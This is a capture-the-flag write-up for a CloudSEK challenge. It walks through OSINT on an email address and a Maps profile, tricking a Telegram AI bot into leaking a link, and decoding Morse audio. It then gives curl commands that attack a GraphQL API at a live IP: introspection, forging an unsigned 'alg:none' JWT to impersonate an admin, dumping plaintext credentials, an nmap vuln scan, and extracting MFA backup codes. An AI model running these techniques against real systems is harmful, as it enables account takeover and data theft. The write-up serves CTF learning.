
## Welcome Challenge - Flag 1




From the challenge description, we are provided with an email address:

suryanandanmajumber@gmail.com

This is our first lead.

Then i searched the email on **Epieos OSINT tool**.


It showed the linked Google services including **Google Maps** and **Google Calendar**.  
A Google Maps contributor profile was visible.



Opening the Maps contributor profile revealed reviews posted by the user.

In one review at **Khandala Ghat View Point**, I found a clue inside the text.  
It mentioned a GitHub repository:

<https://github.com/tuhin1729/tg-bot>




I opened the GitHub repo.

Looking into the recent commits, I found an interesting commit where the code was updated.

In the diff view, the **original flag** was visible before being replaced.


Flag discovered: CloudSEK{Flag\_1\_w3lc0m3\_70\_7h3\_c7f}




## Hacking the Hacker - Flag 2





We found the clue that we have to trick the telegram bot for the flag




After sometime prompting and tricking the bot, it eventually responded with a **URL**.



When I opened the URL it contained **two links**. I opened the first one and found the **audio file.**


**  
  
  
**

On playing the file, it consisted only of **short and long beeping sounds**, which strongly suggested it was encoded in **Morse code**. The audio was extracted and processed through a Morse code decoding tool.  
  
Flag discovered: CloudSEK{FLAG2!W3!H473!AI!B07S}

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## Attacking the Infrastructure - Flag 3



The Telegram bot second link led to a BeVigil report for the app (com.strikebank.easycalculator), which exposed a backend **GraphQL** endpoint:  
  
****

**We began by visiting (https://bevigil.com/report/com.strikebank.easycalculator), which provided insights into the Calculator app’s APK. Static analysis revealed sensitive information, including a BASE\\_URL (http://15.206.47.5:9090) and GraphQL endpoints (/graphql, /graphql/flag, /graphql/notes). To investigate further, an Nmap scan was run on the host 15.206.47.5, which exposed:**


**22/tcp → SSH**


**5000/tcp → Flask/Werkzeug (Python app)**

**9090/tcp → Gunicorn (GraphQL backend)**

**Since port 9090 hosted the GraphQL API, it was identified as the primary attack**

**surface for exploitation.**

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### Direct Query Attempt

I first tried to query the flag field directly from the GraphQL endpoint:

curl -sX POST -H "Content-Type: application/json" \

--data '{"query":"{ flag }"}' http://15.206.47.5:9090/graphql

The server responded with:

Cannot query field 'flag' on type 'Query'

**Schema Enumeration**

I then performed GraphQL introspection to enumerate available queries:

curl -sX POST -H "Content-Type: application/json" \

--data '{"query":"query{\_\_schema{queryType{fields{name}}}}"}' \

http://15.206.47.5:9090/graphql

Discovered fields:  
showSchema, listUsers, userDetail, getMail, getNotes, getPhone, generateToken, databaseData, dontTrythis, BackupCodes

Next, I used the **showSchema** query to dump the full schema:

curl -sX POST -H "Content-Type: application/json" \

--data '{"query":"{ showSchema }"}' http://15.206.47.5:9090/graphql

The schema revealed that userDetail contains a flag field.

**Enumerating Users**

To find interesting accounts:

curl -sX POST -H "Content-Type: application/json" \

--data '{"query":"{ listUsers { id username } }"}' \

http://15.206.47.5:9090/graphql

Response included several users, among them:

id: R2W8K5Z, username: r00tus3r

This account looked privileged and likely contained the flag.

**Token Generation and Weakness**

Next, I generated a token using the built-in function:

curl -sX POST -H "Content-Type: application/json" \

--data '{"query":"{ generateToken }"}' \

http://15.206.47.5:9090/graphql

Returned JWT:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6Ilg5TDdBMlEiLCJ1c2VybmFtZSI6ImpvaG4uZCJ9.

Header analysis showed "alg": "none", meaning the token was **unsigned** and could be modified freely.

**Forging the Token**

I modified the JWT payload to impersonate r00tus3r:

{ "id": "R2W8K5Z", "username": "r00tus3r" }

Base64-encoded header + payload (with no signature):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6IlIyVzhLNVoiLCJ1c2VybmFtZSI6InIwMHR1czNyIn0.

**Retrieving the Flag**

Using the forged token in the Authorization header:

curl -sX POST -H "Content-Type: application/json" \


-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6IlIyVzhLNVoiLCJ1c2VybmFtZSI6InIwMHR1czNyIn0." \


--data '{"query":"{ userDetail(id:\"R2W8K5Z\"){ flag } }"}' \

http://15.206.47.5:9090/graphql

Response:

CloudSEK{Flag\_3\_gr4phq1\_!$\_fun}



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## Bypassing Authentication - Flag 4

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### Recon and Enumeration

Using the previously obtained forged JWT (from Flag 3), a query was made to extract stored credentials of the privileged user r00tus3r:

curl -s -X POST \

-H "Content-Type: application/json" \

-H "Authorization: Bearer <forged\_token>" \

--data '{"query":"{ userDetail(id: \"R2W8K5Z\") { credentials { username password } } }"}' \

<http://15.206.47.5:9090/graphql>




Response leaked plaintext credentials:


username: r00tus3r

password: l3t%27s%20go%20guys$25

<http://15.206.47.5:5000/login>



**I logged in using credential next step was to find the backup code:**

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Ran an **Nmap scan** against the target:

nmap -Pn --script vuln -p 21,22,554,1723,5000,9090 15.206.47.5

Open services discovered:

21/tcp open ftp

22/tcp open ssh

5000/tcp open upnp (web service / API endpoint)

9090/tcp open graphql

### API Interaction

The service on port **5000** exposed /api/admin/backup/generate.

Initial attempts with numeric user IDs failed ({"error":"Invalid user\_id"}).

On inspection, the API expected a **UUID string** instead of numeric IDs.

**curl -X POST -H "Content-Type: application/json" \**

**-H "Authorization: Basic YXBpLWFkbWluOkFwaU9ubHlCYXNpY1Rva2Vu" \**

**--data '{"user\_id": "f2f96855-8c05-4599-a98c-f7f2fd718fa2"}' \**

**http://15.206.47.5:5000/api/admin/backup/generate**

Successful response leaked **backup codes**:

**RN69-FI51**

**QSOF-FGNG**

**RJ2B-BSZU**


**KO3G-HDTB**

**OP37-X1FV**

**EVPP-XBB7**

**Z9ZD-J004**


**92RE-6N96**

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The leaked backup codes functioned as **secondary authentication tokens**.

Using these bypassed the login restriction and revealed the **4th flag**.

Flag Obtained:CloudSEK{Flag\_4\_T0k3n\_3xp0s3d\_JS\_MFA\_Byp4ss}

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*****Thank You!*****